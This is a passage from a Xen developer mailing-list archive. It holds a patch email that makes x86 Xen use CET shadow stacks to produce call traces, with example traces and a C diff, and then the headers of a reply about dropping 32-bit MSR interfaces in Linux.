         0p8kQPLzvoTQVqtcwUHOb8y2OHfcGI3EyAJI5jx7w67SxBvPACpQGKYqP7wEErXjF0Uq
         pG21wNG6ZcR2fD6WMdW5U1a1QT84NBYPX6Jh1JZ8Gk6BPBa/yLHwV2gOlKHamqeWEySJ
         JbA0hlHxHweXO9f6IKEpKGkt+c423OahOmHPFZp0dKIGK6kUf1b7NLbyPM2iDDz8HOwM
         wncg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782989759; x=1783594559;
        h=content-transfer-encoding:in-reply-to:autocrypt:content-language
         :references:cc:to:from:subject:user-agent:mime-version:date
         :message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to;
        bh=y40rikzKdW41I0gcKC+jqL54qXX/dn+hAUR30HB1xyE=;
        b=Os6dZxCuPeBPM2L5BHEiYDkNgy1rtkRsQy1xnvSFRW7CEmTsIuQue+fIh6NCzqNjkH
         xfjfsGQIh39T3x/O1+SAwSrHSgu94bwRSZ0RIgJvNLdI3xk7txG2ji0YAlhT6hP/iM6b
         Qeq+oEa3iICAPyWGnUauD6veyr6cH+zq35OWBzoNxpdjsPe7G3Vheqc2IxzVrNYYXWsM
         KBrs7lpP+s87sn0WhoVYwK9rMmLWc8Pict9lTn+a80CwqYAUyr4OvwPj/TfkfW1uQV0h
         /vTndmDHYM/3Mtx2ojg45wnanyy2+ZyDqzWwZoied/CqImBsD7bFAmy1wioU2KHz4wjo
         lspQ==
X-Gm-Message-State: AOJu0Yyl/uTkwoLs4XJod1M43mCnEVXc1dF6LcoUtFylQFaaew0fwroJ
	s1jsRfLqefNkN2vmTHCJPDGxBsEg8eWjjIEaFVkK3VNCSjL7z3vN3Wg9qxSYOqNGFLlZKoXDYe4
	PpmK0zg==
X-Gm-Gg: AfdE7ckQhybl4zb0k61r51PansW7a85LEtgvIS2drbL1tN8dkKeYsfe0+jmjBNWkdTN
	letBbw5XLYgoPkrKFyNKpW2vUy+xvAYWtsL4U6h1SstVPvNBMYopaeA+C5FDflyLjHtMqqCkdRJ
	b9gq5u4O8JzdWdpfwyoaN1AhnNNN/VZxkIrTmm34eSZtsfq0HenTK4u2chvfNcb4DpEA3PhUf+o
	KcM8yAGobIiSx62CvzJxQxYn1umFcxEPsAUy4SjroUnt4HXfcp3i916OAWuLwjrZfTP2fne5ntb
	Mk61JYOxGDl9m7sQo82T576ffhOobjhAwbusgQ1DIkSsTV0iBvpASbNdC4QZlWKlaUQCr+uRlps
	b/gA+n3b3KQFlVdOJurVuI2Olo5FOt3A4rmc/gxfqcJqejtzs3r942QeSYG5OkYamwVZcQqWfM+
	3/vV6SukEB8a3avIRldWJ53/olpBJdtdJV8k0Ueu/b3AH1R9FQYoZskOtsOha2wi+0A30oenQ54
	hSh
X-Received: by 2002:a05:600d:c:b0:493:aa28:38ad with SMTP id 5b1f17b1804b1-493c2b4442emr58140175e9.10.1782989758979;
        Thu, 02 Jul 2026 03:55:58 -0700 (PDT)
Message-ID: <3ed270eb-4417-4340-a3da-f06704b27047@suse.com>
Date: Thu, 2 Jul 2026 12:55:58 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH v3 4/4] x86: prefer shadow stack for producing call traces
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>, Wei Liu <wl@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>
References: <7ba5ecff-af64-49c0-abf9-23963ca56aa6@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <7ba5ecff-af64-49c0-abf9-23963ca56aa6@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-42698a/1782989759-A6939220-6047AE3A/0/0
X-purgate-type: clean
X-purgate-size: 4605

Shadow stacks contain little more than return addresses, and they in
particular allow precise call traces also with FRAME_POINTER=n:

(XEN) Xen call trace:
(XEN)    [<ffff82d04032d730>] R extable.c#search_one_extable+0x70/0x73
(XEN)    [<ffff82d04032d802>] C search_exception_table+0xc2/0x177
(XEN)    [<ffff82d040358378>] C traps.c#extable_fixup.isra.0+0x18/0x6c
(XEN)    [<ffff82d040358e3b>] C do_invalid_op+0xab/0x106
(XEN)    [<ffff82d040201d98>] C x86_64/entry.S#handle_exception_saved+0x88/0xf4
(XEN)    [<ffff82d07fffe044>] E ffff82d07fffe044
(XEN)    [<ffff82d040412db0>] C stub_selftest+0xd0/0x168
(XEN)    [<ffff82d0403508d6>] C setup.c#init_done+0x116/0x15a

as opposed to this counterpart (earlier during the same boot, before CET
is enabled):

(XEN) Xen call trace:
(XEN)    [<ffff82d04032d730>] R extable.c#search_one_extable+0x70/0x73
(XEN)    [<ffff82d04032d802>] S search_exception_table+0xc2/0x177
(XEN)    [<ffff82d040358378>] S traps.c#extable_fixup.isra.0+0x18/0x6c
(XEN)    [<ffff82d040358e3b>] S do_invalid_op+0xab/0x106
(XEN)    [<ffff82d040201d98>] S x86_64/entry.S#handle_exception_saved+0x88/0xf4
(XEN)    [<ffff82d040412db0>] S stub_selftest+0xd0/0x168
(XEN)    [<ffff82d0403d0cc9>] S do_initcalls+0x29/0x38
(XEN)    [<ffff82d04041adf2>] S __start_xen+0x1c72/0x2235
(XEN)    [<ffff82d040288a57>] S __high_start+0xb7/0xc0

(note the entirely missing entry for the stub itself [1]; sadly there are
no stray entries there).

[1] Arguably we could teach FRAME_POINTER=n traces to recognize stubs as
    well. But not FRAME_POINTER=y ones. In fact, what's missing there
    isn't the stub itself, but (of course) its immediate caller.

Signed-off-by: Jan Beulich <jbeulich@suse.com>
---
While the 'E' for exception frames is probably okay, I'm not overly
happy with the 'C' (for CET). I would have preferred 'S' (for shadow),
but we use that character already.

As an alternative to suppressing output for the top level exception
frame, adding the new code ahead of the 'R' output line (and then also
ahead of the stack top read) could be considered.

Quite likely a number of other uses of is_active_kernel_text() also want
amending with in_stub().
---
v3: Correct "link to other shadow stack" check. Don't log a line for the
    (impossible) PV case. Add example stack trace to description.
v2: IS_ENABLED() -> #ifdef. Re-base.

--- a/xen/arch/x86/traps.c
+++ b/xen/arch/x86/traps.c
@@ -48,6 +48,7 @@
 #include <asm/shared.h>
 #include <asm/shstk.h>
 #include <asm/smp.h>
+#include <asm/stubs.h>
 #include <asm/system.h>
 #include <asm/traps.h>
 #include <asm/uaccess.h>
@@ -705,6 +706,13 @@ unsigned long get_stack_dump_bottom(unsi
     }
 }
 
+#ifdef CONFIG_XEN_SHSTK
+static bool in_stub(unsigned long addr)
+{
+    return !((this_cpu(stubs.addr) ^ addr) >> STUB_BUF_SHIFT);
+}
+#endif
+
 #if !defined(CONFIG_FRAME_POINTER)
 
 /*
@@ -797,6 +805,49 @@ static void show_trace(const struct cpu_
          !is_active_kernel_text(tos) )
         printk("   [<%p>] R %pS\n", _p(regs->rip), _p(regs->rip));
 
+#ifdef CONFIG_XEN_SHSTK
+    if ( rdssp() != SSP_NO_SHSTK )
+    {
+        const unsigned long *ptr = _p(regs->entry_ssp);
+        unsigned int n;
+
+        for ( n = 0; (unsigned long)ptr & (PAGE_SIZE - sizeof(*ptr)); ++n )
+        {
+            unsigned long val = *ptr;
+
+            if ( is_active_kernel_text(val) || in_stub(val) )
+            {
+                /* Normal return address entry.  */
+                printk("   [<%p>] C %pS\n", _p(val), _p(val));
+                ++ptr;
+            }
+            else if ( !((val ^ (unsigned long)ptr) >>
+                        (PAGE_SHIFT + STACK_ORDER)) )
+            {
+                if ( val & (sizeof(val) - 1) )
+                {
+                    /* Most likely a supervisor token. */
+                    break;
+                }
+
+                /*
+                 * Ought to be a hypervisor interruption frame.  But don't
+                 * (re)log the current frame's %rip.
+                 */
+                if ( n || ptr[1] != regs->rip )
+                    printk("   [<%p>] E %pS\n", _p(ptr[1]), _p(ptr[1]));
+                ptr = _p(val);
+            }
+            else /* Bogus. */
+                break;
+        }
+
+        /* Fall back to legacy stack trace if nothing was logged at all. */
+        if ( n )
+            return;
+    }
+#endif /* CONFIG_XEN_SHSTK */
+
     if ( fault )
     {
         printk("   [Fault on access]\n");



From xen-devel-bounces@lists.xenproject.org Thu Jul 02 11:04:03 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 11:04:03 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351682.1608779 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfFD3-00087i-EH; Thu, 02 Jul 2026 11:03:57 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351682.1608779; Thu, 02 Jul 2026 11:03:57 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfFD3-00087b-B4; Thu, 02 Jul 2026 11:03:57 +0000
Received: by outflank-mailman (input) for mailman id 1351682;
 Thu, 02 Jul 2026 11:03:55 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wfFD1-00087S-NU
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 11:03:55 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfFD1-00EHdV-3s
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 13:03:55 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a46458a-5cb7-0a2a0a5109dd-0a2a4509e760-42
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 13:03:55 +0200
Received: from [209.85.218.49] (helo=mail-ej1-f49.google.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a46459a-97e6-0a2a45090019-d155da31e93c-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 13:03:54 +0200
Received: by mail-ej1-f49.google.com with SMTP id
 a640c23a62f3a-c125bce2294so190443966b.3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 04:03:54 -0700 (PDT)
Received: from ?IPV6:2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112?
 (2a00-12d0-af5d-ad01-5d3f-14e6-9bcb-5112.ip.tng.de.
 [2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112])
 by smtp.gmail.com with ESMTPSA id
 4fb4d7f45d1cf-698acf25f4dsm809220a12.8.2026.07.02.04.03.52
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 02 Jul 2026 04:03:53 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1782990234; x=1783595034; darn=lists.xenproject.org;
        h=in-reply-to:autocrypt:from:content-language:references:cc:to
         :subject:user-agent:mime-version:date:message-id:from:to:cc:subject
         :date:message-id:reply-to;
        bh=rLAZ6xjWSh4dBeXXx+Zm/8773z7w6ApW8uj4atG+Tbg=;
        b=LBiRMxWG+FZ52cMMMjq5O9hBOm2zx6eYt5u1oe+g+JmwXL1BU9K+wX7H17VW+Gu6BE
         YTpAVbojm1JZ7Mt3olRouHpC82UWKESg4GQ/P5h3qmlCPCSqt6yKE7bdHf5Q4IKotYnf
         /1aV1gbRGxnPEo6PuF+3j5UQ819kPpgz+/IPXbDjQpa1lrZquyNx6h3FWeqk9oNUF4lN
         sDO4+hOqVkLAkqAMZVEdUmcza2KjYE4M8afwABH3mZcGkKPY3UHRXMq12y4UzSmkz3m1
         /7FcbHSJN6xmuX0IquDjBdIpnyDGZRrZ9D212gqIjx75hCxogVAbV37baepqc7ad/zU/
         XrHw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1782990234; x=1783595034;
        h=in-reply-to:autocrypt:from:content-language:references:cc:to
         :subject:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to;
        bh=rLAZ6xjWSh4dBeXXx+Zm/8773z7w6ApW8uj4atG+Tbg=;
        b=ZTavBXcf7w4u3VvFlyUujiJAJvRb4tllbQ+nswRY7UWuE0o5B9Y5nhAmJlIujaNJ4G
         +HWeBovLayToUVFPoG/XVgooEopo7MOushtp060Roq6wzHEYQAH18vIiTu3IqAaoKBop
         M+TYc0rVnsEseKPU/sMEsCbWkMsGx12EvGlGIPwNEbS8DVDrFz1noTA+nY/JKR8kD4Rh
         1qJwJp81beJIQ18eRD0V9jWXM84EVo0hw24h9Z6wrU6cmQBheTm+Vagcc1qF3U46UIRb
         LYc03sivr+aAEh97ZdozuIzQR9UufZ/bZJMU+b9LQk+/v7RawdwA3tshJfJ5rKyk8CF7
         gt5A==
X-Forwarded-Encrypted: i=1; AHgh+Rr8FUXupv15d6I5VE5DKgV9DeaHlCOkl8aBDXddzBSaEh9nnyE0yHFXP5o4puV7km0eiRq7NT04GNc=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yzqmi/9rEYf5/W64FQlqoENeWd+8x/3wHIDrjlxA1Vijz6DQJPW
	NrrpUfDeQWspWmBZ0pIvjwyO+U8kHZMaz+vUr4FAE+leAhJRCXeL4agDlXtz+NHVzxI=
X-Gm-Gg: AfdE7cnj5J87Hr4ViXkNGL1qVdWzDHUzPfqWJ7DdzSSHPoUm6gSgC3izMZkAY/WYPDW
	R+CB9xMli8mLSVW22JAz4y2VvwxXXLDEf2wq1MaI7WbRxbIDAYccRRKISmnqs4RU4qMO3fxmonR
	wnjYEvfpsXD8GB72TulWXFolA3aQukh8Y952p2h4uM6n39Ms37eVNb95iyu674rQr+maskWH1R/
	p0wMizXmXc99lGbwvfE+2nZzs1LRUl8IWnCiRwnSJiGe4PSwL4VMWEokcHdQWWswnHgbdytNSif
	GLyVfQpIc0d0BnsxuzJGrIFfrHiwAPJKfxX5W7w+kgSelTJKNzLa53QQrJ7ILd1aRkkmbe+tWBb
	O8yDOFUj/lBU1hsWx+pp1K2BfYuv702uegheOk4YyjtgJVt/GnE7++Y9wUY+rJ0hkdBo4qQwMiq
	OnwGXbxO792lufDL+D5LkD/houd3QXNem5ioVgcdPU06ZV9AeaVzWj8Zcy4vn63Xa9hVga0oXMu
	PwwkArM1eA/WMPrBWuP4GsP+3WIQI1i1U8AKiHqZGY=
X-Received: by 2002:a17:907:e14b:10b0:c12:3143:864f with SMTP id a640c23a62f3a-c12ae47556cmr180127966b.2.1782990234377;
        Thu, 02 Jul 2026 04:03:54 -0700 (PDT)
Message-ID: <99228803-b8b7-47a3-b77c-6fdf3b785730@suse.com>
Date: Thu, 2 Jul 2026 13:03:52 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 00/32] x86/msr: Drop 32-bit MSR interfaces
To: Ingo Molnar <mingo@kernel.org>, Sean Christopherson <seanjc@google.com>
Cc: Arnd Bergmann <arnd@arndb.de>, linux-kernel@vger.kernel.org,
 linux-pm@vger.kernel.org,
 "linux-edac@vger.kernel.org" <linux-edac@vger.kernel.org>, x86@kernel.org,
 linux-acpi@vger.kernel.org, kvm@vger.kernel.org, linux-coco@lists.linux.dev,
 linux-pci@vger.kernel.org, virtualization@lists.linux.dev,
 linux-ide@vger.kernel.org, dri-devel@lists.freedesktop.org,
 linux-fbdev@vger.kernel.org, linux-crypto@vger.kernel.org,
 "open list:GPIO SUBSYSTEM" <linux-gpio@vger.kernel.org>,
 linux-hyperv@vger.kernel.org, linux-hwmon@vger.kernel.org,
 linux-perf-users@vger.kernel.org, linux-mtd@lists.infradead.org,
 platform-driver-x86@vger.kernel.org, "Rafael J . Wysocki"
 <rafael@kernel.org>, Daniel Lezcano <daniel.lezcano@kernel.org>,
 Zhang Rui <rui.zhang@intel.com>, "lukasz.luba@arm.com"
 <lukasz.luba@arm.com>, Jason Baron <jbaron@akamai.com>,
 Borislav Petkov <bp@alien8.de>, Tony Luck <tony.luck@intel.com>,
 Yazen Ghannam <yazen.ghannam@amd.com>, Len Brown <lenb@kernel.org>,
 Pavel Machek <pavel@kernel.org>, Thomas Gleixner <tglx@kernel.org>,
 Ingo Molnar <mingo@redhat.com>, Dave Hansen <dave.hansen@linux.intel.com>,
 "H. Peter Anvin" <hpa@zytor.com>, Paolo Bonzini <pbonzini@redhat.com>,
 "Kirill A. Shutemov" <kas@kernel.org>,
 Rick Edgecombe <rick.p.edgecombe@intel.com>, Pu Wen <puwen@hygon.cn>,
 Bjorn Helgaas <bhelgaas@google.com>, Ajay Kaher <ajay.kaher@broadcom.com>,
 Alexey Makhalov <alexey.makhalov@broadcom.com>,
 Broadcom internal kernel review list
 <bcm-kernel-feedback-list@broadcom.com>,
 Viresh Kumar <viresh.kumar@linaro.org>,
 Reinette Chatre <reinette.chatre@intel.com>,
 Dave Martin <Dave.Martin@arm.com>, James Morse <james.morse@arm.com>,
 Babu Moger <babu.moger@amd.com>, Tony W Wang-oc <TonyWWang-oc@zhaoxin.com>,
 Damien Le Moal <dlemoal@kernel.org>, Niklas Cassel <cassel@kernel.org>,
 Dave Airlie <airlied@redhat.com>, Helge Deller <deller@gmx.de>,
 linux-geode@lists.infradead.org, Olivia Mackall <olivia@selenic.com>,
 Herbert Xu <herbert@gondor.apana.org.au>, Linus Walleij <linusw@kernel.org>,
 Bartosz Golaszewski <brgl@kernel.org>,
 Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
 "K. Y. Srinivasan" <kys@microsoft.com>,
 Haiyang Zhang <haiyangz@microsoft.com>, Wei Liu <wei.liu@kernel.org>,
 Dexuan Cui <decui@microsoft.com>, Long Li <longli@microsoft.com>,
 Guenter Roeck <linux@roeck-us.net>, Peter Zijlstra <peterz@infradead.org>,
 Arnaldo Carvalho de Melo <acme@kernel.org>,
 Namhyung Kim <namhyung@kernel.org>, Mark Rutland <mark.rutland@arm.com>,
 Alexander Shishkin <alexander.shishkin@linux.intel.com>,
 Jiri Olsa <jolsa@kernel.org>, Ian Rogers <irogers@google.com>,
 Adrian Hunter <adrian.hunter@intel.com>, James Clark
 <james.clark@linaro.org>, Josh Poimboeuf <jpoimboe@kernel.org>,
 Pawan Gupta <pawan.kumar.gupta@linux.intel.com>,
 Vitaly Kuznetsov <vkuznets@redhat.com>, Andy Lutomirski <luto@kernel.org>,
 Boris Ostrovsky <boris.ostrovsky@oracle.com>, Huang Rui <ray.huang@amd.com>,
 Mario Limonciello <mario.limonciello@amd.com>,
 Perry Yuan <perry.yuan@amd.com>, K Prateek Nayak <kprateek.nayak@amd.com>,
 "srinivas.pandruvada@linux.intel.com" <srinivas.pandruvada@linux.intel.com>,
 Artem Bityutskiy <artem.bityutskiy@linux.intel.com>,
 Artem Bityutskiy <dedekind1@gmail.com>,
 Miquel Raynal <miquel.raynal@bootlin.com>,
 Richard Weinberger <richard@nod.at>, Vignesh Raghavendra <vigneshr@ti.com>,
 Ashok Raj <ashok.raj.linux@gmail.com>, Hans de Goede <hansg@kernel.org>,
 =?UTF-8?Q?Ilpo_J=C3=A4rvinen?= <ilpo.jarvinen@linux.intel.com>,
 Rajneesh Bhardwaj <irenic.rajneesh@gmail.com>,
 David E Box <david.e.box@intel.com>, xen-devel@lists.xenproject.org
References: <20260629060526.3638272-1-jgross@suse.com>
 <d7c1db52-529a-43cc-ac7d-38b52627e8bc@app.fastmail.com>
 <c1608c48-13c2-4290-826b-28b5ca51eaf7@suse.com>
 <7332feff-2649-496c-8e49-b0a19eb54a32@app.fastmail.com>
 <akJUz0kYkEBdLSZ3@gmail.com> <akQR9YMtMHReJTfB@google.com>
 <akY4U0jUZm4HOGZ_@gmail.com>
Content-Language: en-US
From: Juergen Gross <jgross@suse.com>
Autocrypt: addr=jgross@suse.com; keydata=
 xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjrioyspZKOB
 ycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2kaV2KL9650I1SJve
 dYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i1TXkH09XSSI8mEQ/ouNcMvIJ
 NwQpd369y9bfIhWUiVXEK7MlRgUG6MvIj6Y3Am/BBLUVbDa4+gmzDC9ezlZkTZG2t14zWPvx
 XP3FAp2pkW0xqG7/377qptDmrk42GlSKN4z76ELnLxussxc7I2hx18NUcbP8+uty4bMxABEB
 AAHNH0p1ZXJnZW4gR3Jvc3MgPGpncm9zc0BzdXNlLmNvbT7CwHkEEwECACMFAlOMcK8CGwMH
 CwkIBwMCAQYVCAIJCgsEFgIDAQIeAQIXgAAKCRCw3p3WKL8TL8eZB/9G0juS/kDY9LhEXseh
 mE9U+iA1VsLhgDqVbsOtZ/S14LRFHczNd/Lqkn7souCSoyWsBs3/wO+OjPvxf7m+Ef+sMtr0
 G5lCWEWa9wa0IXx5HRPW/ScL+e4AVUbL7rurYMfwCzco+7TfjhMEOkC+va5gzi1KrErgNRHH
 kg3PhlnRY0Udyqx++UYkAsN4TQuEhNN32MvN0Np3WlBJOgKcuXpIElmMM5f1BBzJSKBkW0Jc
 Wy3h2Wy912vHKpPV/Xv7ZwVJ27v7KcuZcErtptDevAljxJtE7aJG6WiBzm+v9EswyWxwMCIO
 RoVBYuiocc51872tRGywc03xaQydB+9R7BHPzsBNBFOMcBYBCADLMfoA44MwGOB9YT1V4KCy
 vAfd7E0BTfaAurbG+Olacciz3yd09QOmejFZC6AnoykydyvTFLAWYcSCdISMr88COmmCbJzn
 sHAogjexXiif6ANUUlHpjxlHCCcELmZUzomNDnEOTxZFeWMTFF9Rf2k2F0Tl4E5kmsNGgtSa
 aMO0rNZoOEiD/7UfPP3dfh8JCQ1VtUUsQtT1sxos8Eb/HmriJhnaTZ7Hp3jtgTVkV0ybpgFg
 w6WMaRkrBh17mV0z2ajjmabB7SJxcouSkR0hcpNl4oM74d2/VqoW4BxxxOD1FcNCObCELfIS
 auZx+XT6s+CE7Qi/c44ibBMR7hyjdzWbABEBAAHCwF8EGAECAAkFAlOMcBYCGwwACgkQsN6d
 1ii/Ey9D+Af/WFr3q+bg/8v5tCknCtn92d5lyYTBNt7xgWzDZX8G6/pngzKyWfedArllp0Pn
 fgIXtMNV+3t8Li1Tg843EXkP7+2+CQ98MB8XvvPLYAfW8nNDV85TyVgWlldNcgdv7nn1Sq8g
 HwB2BHdIAkYce3hEoDQXt/mKlgEGsLpzJcnLKimtPXQQy9TxUaLBe9PInPd+Ohix0XOlY+Uk
 QFEx50Ki3rSDl2Zt2tnkNYKUCvTJq7jvOlaPd6d/W0tZqpyy7KVay+K4aMobDsodB3dvEAs6
 ScCnh03dDAFgIq5nsB11j3KPKdVoPlfucX2c7kGNH+LUMbzqV6beIENfNexkOfxHfw==
In-Reply-To: <akY4U0jUZm4HOGZ_@gmail.com>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------WjZXb44KsATEDkDSufWy2bKk"
X-purgate-ID: tlsNG-bad1c0/1782990235-56FA9986-78970A30/0/0
X-purgate-type: clean
X-purgate-size: 11511

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------WjZXb44KsATEDkDSufWy2bKk
Content-Type: multipart/mixed; boundary="------------o2fircZpb09tU1GMO2GxqgPd";
 protected-headers="v1"
From: Juergen Gross <jgross@suse.com>
To: Ingo Molnar <mingo@kernel.org>, Sean Christopherson <seanjc@google.com>
Cc: Arnd Bergmann <arnd@arndb.de>, linux-kernel@vger.kernel.org,
 linux-pm@vger.kernel.org,
 "linux-edac@vger.kernel.org" <linux-edac@vger.kernel.org>, x86@kernel.org,
 linux-acpi@vger.kernel.org, kvm@vger.kernel.org, linux-coco@lists.linux.dev,
 linux-pci@vger.kernel.org, virtualization@lists.linux.dev,
 linux-ide@vger.kernel.org, dri-devel@lists.freedesktop.org,
 linux-fbdev@vger.kernel.org, linux-crypto@vger.kernel.org,
 "open list:GPIO SUBSYSTEM" <linux-gpio@vger.kernel.org>,
 linux-hyperv@vger.kernel.org, linux-hwmon@vger.kernel.org,
 linux-perf-users@vger.kernel.org, linux-mtd@lists.infradead.org,
 platform-driver-x86@vger.kernel.org, "Rafael J . Wysocki"
 <rafael@kernel.org>, Daniel Lezcano <daniel.lezcano@kernel.org>,
 Zhang Rui <rui.zhang@intel.com>, "lukasz.luba@arm.com"
 <lukasz.luba@arm.com>, Jason Baron <jbaron@akamai.com>,
 Borislav Petkov <bp@alien8.de>, Tony Luck <tony.luck@intel.com>,
 Yazen Ghannam <yazen.ghannam@amd.com>, Len Brown <lenb@kernel.org>,
 Pavel Machek <pavel@kernel.org>, Thomas Gleixner <tglx@kernel.org>,
 Ingo Molnar <mingo@redhat.com>, Dave Hansen <dave.hansen@linux.intel.com>,
 "H. Peter Anvin" <hpa@zytor.com>, Paolo Bonzini <pbonzini@redhat.com>,
 "Kirill A. Shutemov" <kas@kernel.org>,
 Rick Edgecombe <rick.p.edgecombe@intel.com>, Pu Wen <puwen@hygon.cn>,
 Bjorn Helgaas <bhelgaas@google.com>, Ajay Kaher <ajay.kaher@broadcom.com>,
 Alexey Makhalov <alexey.makhalov@broadcom.com>,
 Broadcom internal kernel review list
 <bcm-kernel-feedback-list@broadcom.com>,
 Viresh Kumar <viresh.kumar@linaro.org>,
 Reinette Chatre <reinette.chatre@intel.com>,
